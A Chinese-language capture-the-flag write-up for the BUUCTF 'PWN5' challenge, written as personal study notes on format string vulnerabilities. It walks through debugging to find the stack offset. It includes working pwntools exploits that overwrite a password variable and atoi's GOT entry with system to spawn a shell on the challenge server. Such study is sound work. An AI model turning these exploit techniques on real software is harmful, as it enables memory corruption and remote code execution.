声明:本文用途为供自己学习
参考文章一:CSDN-云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
参考文章二:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
参考文章四:知乎-看雪(作者)-PWN入门-格式化字符串漏洞
参考文章五:简书-杰森任(作者)-PWN格式化字符串漏洞1(基础知识)
参考文章七:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
参考文章:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法(参考部分:题目分析)
参考文章:CSDN-lifanxin-CTF(作者)-pwn题之格式化字符串漏洞详解(参考部分:概念)
格式化字符串漏洞的成因在于像printf/sprintf/snprintf
等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad)
,偷懒写成了:printf(pad)
,此时就存在格式化字符串漏洞
如图可知main函数的功能是从/dev/urandom
文件读取一个随机数,比对输入的passwd
是否与该随机数一致,一致则getshell
,而printf
函数没有设定格式化参数,与输入的passwd
比较的数字的地址也可以看到是0x804C044
,因此可以利用格式化字符串漏洞,在第一次输入name
的时候修改0x804C044
的内容,第二次输入passwd
时输入改内容(字符串格式,用str
函数,其参数为16进制数字)
"/bin/sh"
第一次输入通过格式化字符串漏洞篡改atoi
函数got
地址为system
函数的真实地址,第二次输入passwd
为字符串"/bin/sh"
根据上述内容,有Canary
保护、有未给出格式化参数的错误使用的printf
和地址已知的if
语句中的变量,而且第一次read
的数据长度为0x63个byte,因此用第一次输入构造payload
,使得可以向0x804C044
这个地址中任意写入。
以下是个人对于格式化字符串漏洞的相关深入探究:
工具:pwngdb
,IDApro32;
调试参数:b *0x80492BB
(相关地址均通过IDA得到)、r
、AAAA-%p-%p-%p
、stack 20
、(此时显示为第一张图片)ni
、stack 20
(第二张图片);*
(以下内容过于基础)此时,eip
指向0x80492bb
,说明此时下一条执行的指令为push eax
,所以当前执行的指令是lea eax,[ebp - 0x70]
。
接着执行上述0x80492BB
处的push eax
(eax
存放的为下一条l指令: call printf@plt
的参数,即刚刚的输入的AAAA-%p-%p-%p
起始位置所在的地址被压入栈中)
刚刚提到经过push eax
后,输入的字符串的输入的AAAA-%p-%p-%p
起始位置所在的地址被压倒了栈中,而AAAA-%p-%p-%p
内容本身放在哪里?
在pwngdb中继续进行调试,调试参数:d
、b *0x804929B
、r
、AAAA-%p-%p-%p
。*
通过IDA的伪代码可以看到,键盘输入的内容被放入buf
中,而buf
的起始位置通过ebp
信息(0xffffd0a8
下图第一处划线处)和其与ebp
的偏移量(0x70
)可以算出来(上图第一处画线位置),就是0x804929B
(也可以直接通过下图中第三处划线位置buf
:0xffffd038
看出来)
再次回到第一步的第二张图,
此时输入调试命令:print /x *0xffffd038
(以16进制格式打印栈空间上0xffffd038
地址处的内容)*,结果如下
现在退出pwngdb
,运行该程序,输入参数AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
,结果如下图:
如果对格式化字符串漏洞理解起来困难,建议看下这篇博客
第一个%p
打印的是从printf
参数的起始位置(本题中为0xffffd010
,该位置偏移量为0)的下一个位置开始(偏移量为1)的内容,所以第一个%p的输出内容为0xffffd014
的内容,依此类推。而buf
的起始地址为0xffffd038
,printf
参数的地址为0xffffd010
,所以其二者间的偏移量为10(0x28byte,每个偏移量占4byte,16进制)。在上图输出结果可以看到以AAAA
为偏移量0开始算起,第十个偏移量的位置正是0x41414141
(AAAA的16进制格式)。其他格式化字符串原理类似%p
,例如%10$n
,就是把当前格式化参数(%10$n
)之前字符数(char类型)的数值大小,赋值给从printf
的参数所在栈的位置的起始位置(偏移量为0)开始算起,第10个偏移量的栈空间的位置中的内容作为地址,把该地址对应的内容(只修改一个字(2个byte),改变修改的字节量可以改用%10$hn
等(大概吧)),修改为前面说的“字符串数的数值大小”。
上段内容最后一句话参考文章:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理如下内容
%hhn 写一字节
%hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
(ps:关于"-"
的输出问题(我自己在做题时的困惑),为什么"-"
不影响输出结果如"0x41414141"
的相对位置,因为,%p
打印的是从printf
参数的起始位置(本题中为0xffffd010
,该位置偏移量为0)的下一个位置开始(偏移量为1),第一个%p
的输出内容为0xffffd014
的内容,此时还没有开始输出到存储字符串本身内容的位置,而printf
在输出打印内容时是按顺序打印结果,例如先输出AAAA
,在输出"-"
,遇到%p
了,输出其对应偏移量(相对于printf
参数)位置的内容,而"-"
对应的16进制数就是2d
,所以会看到从第十一个参数开始出现2d
)
修改exp.py的内容:
from pwn import *
#context.log_level = "DEBUG"
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']
print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
结果如下图:
发现如果用方法一精心地构造payload
,会非常困难比如把atoi_got
中的最后一字节0x34改成目的数值(0x80)相当困难,因为buf可写入长度仅为0x70个字节,当然也可以进一步想办法解决该问题,但是本文在此处决定使用pwntools
自带的fmtstr_payload
函数,以期同时掌握更多工具使用方法。构造的payload
如下
payload=fmtstr_payload(10,{atoi_got:system_sym})
第一个参数为第二个参数第一部分(即atoi_got
)到printf
的参数的偏移量,第二个参数的第一部分为要篡改的地址,第二个部分为要篡改之后的值。
(这里有个很奇怪的地方,就是当将elf.sym['system']
改为elf.plt['system']
时,仍然可以攻击成功,改成elf.got['system']
后,攻击失败,这里我不太理解,应该是对plt、got的理解不够,之后尽快补上)
pwngdb
中fmtarg
参见参考文章四。
fmtarg
使用及pwngdb
、pwndbg
的配置参见下面链接的文章。(如果输入fmtarg
报错说没有该命令,则需要按下面文章进行配置)
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
2.pwntools
中FmtStr
类
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
def exec_fmt(pad):
p = process("./pwn")
# send 还是 sendline以程序为准
p.send(pad)
return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
输出结果如下。
这里有我不理解的两个点,一个是fmt = FmtStr(exec_fmt)
这里,没有给exec_fmt
传入任何参数(应该是py基础不好),另一个是还是没有理解FmtStr
类的细节,这个需要继续学习。
payload1参考博文:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
payload2参考博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
io = remote("node4.buuoj.cn",29457)
else:
io = process("./pwn1")
passwd = 0x804C044
payload1 = p32(passwd) + p32(passwd+1) + p32(passwd+2) + p32(passwd+3) + b"%10$n%11$n%12$n%13$n"
#payload2=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#(在此处这个形式的payload就是)就是想说明%16$n这样的格式化参数也要算做一个偏移量,64位由于0截断的原因,需要采取第二种payload的格式
io.sendline(payload1)
io.sendline(str(0x10101010))
io.interactive()
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
io = remote("node4.buuoj.cn",25450)
else:
io = process("./pwn")
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']
print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
一开始对payload的构造不能理解,网上的博文大多讲的不清楚,或者说不对我的“胃口”,感觉自己关注的地方,网上的博文并没能为我解答,只有自己调试了。
比如网上有些地方讲的%p的偏移量是对于esp来讲的,哪一步的esp?有些博文并没有说。
拿博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1举个例子,博文中说到:“在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。”
和"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;
,为什么用“试探”这个词,到底为什么在这样一个位置?写入栈里的第几个位置,可是栈不是在增长或减少吗?这个位置是固定的吗?相对于谁呢?在什么时候的相对位置呢?也许是博主已经对这种基本知识的掌握很扎实,并未深入讲解,然而我不能理解,于是本篇文章重点对我不理解的地方做了调试与深入探究。
FmtStr
类的细节。plt
,got
表的相关内容理解不深,浮于表面。这次做题沉下心了仔细审题代码并且不懂的地方一步一步调试,采取一种绝不向不会的地方妥协的策略,发现很多问题都不是很难解决。而且还是要对不懂得知识做深入的研究,本文待进一步修改。